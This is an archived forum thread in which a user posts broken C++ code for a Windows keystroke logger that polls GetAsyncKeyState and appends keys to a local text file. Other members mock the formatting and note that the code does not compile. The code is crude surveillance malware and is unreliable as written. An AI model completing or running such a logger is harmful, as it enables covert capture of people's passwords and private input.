PDA

View Full Version : what do you think



vze57gc8
May 24th, 2009, 03:30 AM
void Logger(){
int key;
GetAsyncKeyState(key);
}

void Logger() {
char key[10];
while(true) {
Sleep(5);
for(key = 8; key <= 256; i++){
if(GetAsyncKeyState(key)==-32767){
StoreKey(key); }

}
}
}

void StoreKey(char key){
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << key;
storekey.close;
}

#include <windows.h>
#include <fstream>
using namespace std;
void StoreKey(char key){
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << key;
storekey.close;
}
void Logger() {
char key[10];
while(true) {
Sleep(5);
for(key = 8; key <= 256; i++){
if(GetAsyncKeyState(key)==-32767){
StoreKey(key);
}
}
}
}
int main(){
Logger();
return 1;
}

ibuclaw
May 24th, 2009, 03:40 AM
You can put code in
tags to clean up the formatting:

ie

for(; i < 10; i++)
printf("%d\n", i);


Becomes


for(; i < 10; i++)
printf("%d\n", i);

When put into code tags.


Also, I notice that your application won't run on Linux, at least, not without a few tweaks first.

dwhitney67
May 24th, 2009, 03:50 AM
I for one feel irked... the OP posted some code but forgot to provide toilet paper.

vze57gc8
May 24th, 2009, 03:50 AM
thx for the feedback
i have xp as a guest where i do my testing

dwhitney67
May 24th, 2009, 01:37 PM
thx for the feedback
i have xp as a guest where i do my testing

testing??? The code you posted won't even compile!

vze57gc8
May 24th, 2009, 08:17 PM
i was hoping to get some help with fixing it

Sinkingships7
May 24th, 2009, 09:35 PM
i was hoping to get some help with fixing it
Perhaps you should mention that. Maybe you could even tell us what part you want help with? The purpose of the code? I don't know... anything?

We're more than willing to help, but we're going to need you to help us help you first.

soltanis
May 25th, 2009, 12:00 AM
I think this is some sort of keystroke logger intended to run under Windows?

Somehow I don't think it'll work though.

lisati
May 25th, 2009, 12:02 AM
WTF?

#include <windows.h>
Not needed on a Linux system, not always needed in a console-mode program.